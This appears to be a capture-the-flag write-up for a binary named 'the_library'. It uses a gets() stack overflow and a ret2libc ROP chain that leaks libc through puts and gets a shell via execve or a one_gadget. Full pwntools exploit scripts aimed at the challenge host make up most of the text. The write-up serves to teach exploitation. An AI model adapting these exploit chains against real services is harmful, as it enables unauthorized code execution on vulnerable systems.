Files
The binary
The program asks you to guess what book it is thinking about.
Buffer Overflow
The input is copied with gets to a 520 bytes long buffer, so we have yet another stack buffer overflow. To get the exact offset I used gdb:
Ret2libc
If you are not used to that concept, the post bellow might help:
To leak libc base we can use rop gadgets to call puts passing a got address as argument.
Copy #!/usr/bin/env python
from pwn import *
# Definitions
e = context . binary = ELF ( './the_library' ,checksec = False )
libc = ELF ( './libc-2.31.so' ,checksec = False )
io = remote ( 'challenge.ctf.games' , 31125 )
rop = 552 * 'A'
rop += p64 ( 0x 401493 ) # pop rdi; ret
rop += p64 (e.got[ 'puts' ])
rop += p64 ( 0x 4010e0 ) # puts@plt
rop += p64 (e.sym[ 'main' ])
io . recvrepeat ( 0.03 )
io . sendline (rop)
io . recvuntil ( 'Wrong :(' )
io . recvline ()
leak = u64 (io. recv ()[: 6 ]. ljust ( 8 , '\x00' ))
libc . address = leak - libc . sym [ 'puts' ]
After leaking the libc base, it all comes down to calculate the base offset to other gadgets such as system() or a one gadget. A neat way to fly through rop challenges is to just use pwntools.
Copy libc_rop = ROP (libc)
libc_rop . execve ( next (libc. search ( b '/bin/sh' )), 0 , 0 )
rop = 552 * 'A'
rop += libc_rop . chain ()
io . sendline (rop)
io . interactive ()
Although, if you are trying to learn about rop I think you should try to manually craft a rop chain, one way of doing it in the challenge is using a one gadget.
A few are available but we would have to set some registers to NULL.
In this case, r15 is already 0 when our payload is executed, so setting either rsi, rdx or r12 to 0 should get our one gadget to work.
This gadget should do it.
Copy rop = 552 * 'A'
rop += p64 ( 0x 40148c ) # r12; r13; r14; r15 = 0
rop += p64 ( 0 )
rop += p64 ( 0 )
rop += p64 ( 0 )
rop += p64 ( 0 )
rop += p64 (libc.address + 0x e6c7e ) # one_gadget
Final exploit
Copy #!/usr/bin/env python
from pwn import *
# Definitions
e = context . binary = ELF ( './the_library' ,checksec = False )
libc = ELF ( './libc-2.31.so' ,checksec = False )
if args . REMOTE :
io = remote ( 'challenge.ctf.games' , 31125 )
else :
io = process (e.path)
rop = 552 * 'A'
rop += p64 ( 0x 401493 ) # pop rdi; ret
rop += p64 (e.got[ 'puts' ])
rop += p64 ( 0x 4010e0 ) # puts@plt
rop += p64 (e.sym[ 'main' ])
io . recvrepeat ( 0.03 )
io . sendline (rop)
io . recvuntil ( 'Wrong :(' )
io . recvline ()
leak = u64 (io. recv ()[: 6 ]. ljust ( 8 , '\x00' ))
libc . address = leak - libc . sym [ 'puts' ]
log . success ( 'Libc: ' + hex (libc.address))
rop = 552 * 'A'
rop += p64 ( 0x 40148c ) # r12; r13; r14; r15 = 0
rop += p64 ( 0 )
rop += p64 ( 0 )
rop += p64 ( 0 )
rop += p64 ( 0 )
rop += p64 (libc.address + 0x e6c7e ) # one_gadget
io . sendline (rop)
io . interactive ()